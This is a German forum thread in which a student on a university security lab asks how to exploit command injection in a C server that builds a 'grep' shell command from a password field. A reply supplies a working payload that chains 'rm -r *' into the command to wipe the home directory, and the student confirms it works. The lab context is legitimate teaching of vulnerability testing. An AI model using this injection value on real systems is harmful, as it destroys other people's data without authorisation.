ERLEDIGT
JA
JA
ANTWORTEN
2
2
ZUGRIFFE
1244
1244
EMPFEHLEN
-
Hallo,
für ein Uni-Praktikum sollen wir ein Server-Programm auf Fehler überprüfen.
Eine mögliche Schwachstelle ist Command Injection. Allerdings habe ich da so meine Schwierigkeiten mit.
Der Server läuft im home-Verzeichnis des Benutzers "test". Mittels den Befehl "ls" sollen wir uns den Inhalt des Verzeichnis ausgeben.
Zum Server verbinde ich mich mit netcat.
Der Befehl den ich absenden kann lautet:
TUWAS <password>
Der C-Code in dem der Befehl verarbeitet wird lautet:
Code c:
Jetzt habe ich schon verschiedene Command substitionen ausprobiert, aber nichts hat wirklich geklappt.
--> sh: command substitution: line 0: syntax error near unexpected token `;'Code :1
TUWAS hi`;ls`
--> Client Terminal hängt und im Server steht unter den Prozessen: sh -c grep hi\`;ls\` dicts/mamaCode :1
TUWAS hi\`;ls\`
Mehr passiert hier nicht
--> Selber Problem wie obenCode :1
TUWAS hi\\\`;ls\\\`
Was mache ich falsch ?
-
Folgendes als Passwort:
Code :1
foo /dev/null & rm -r * & grep foo
führt zu diesem Command
Code :1
grep foo /dev/null & rm -r * & grep foo dicts/mama > /dev/null
und sollte eigentlich den ganzen home folder löschen.
-
Besten Dank.
Habs es ausprobiert und es funktioniert.
Ähnliche Themen
-
sed bzw grep problemchen
Von ma-pi im Forum Linux & UnixAntworten: 2Letzter Beitrag: 03.03.08, 11:05 -
Grep
Von downset04 im Forum CGI, Perl, Python, Ruby, Power ShellAntworten: 2Letzter Beitrag: 17.10.06, 13:18 -
grep - zum Haare raufen
Von Soapp im Forum CGI, Perl, Python, Ruby, Power ShellAntworten: 2Letzter Beitrag: 18.01.06, 10:51 -
find und grep mit php
Von buzzom im Forum PHPAntworten: 8Letzter Beitrag: 25.08.05, 21:09 -
grep ab erster Lehrstelle
Von tefla im Forum Linux & UnixAntworten: 4Letzter Beitrag: 23.04.03, 16:33





Zitieren

Login





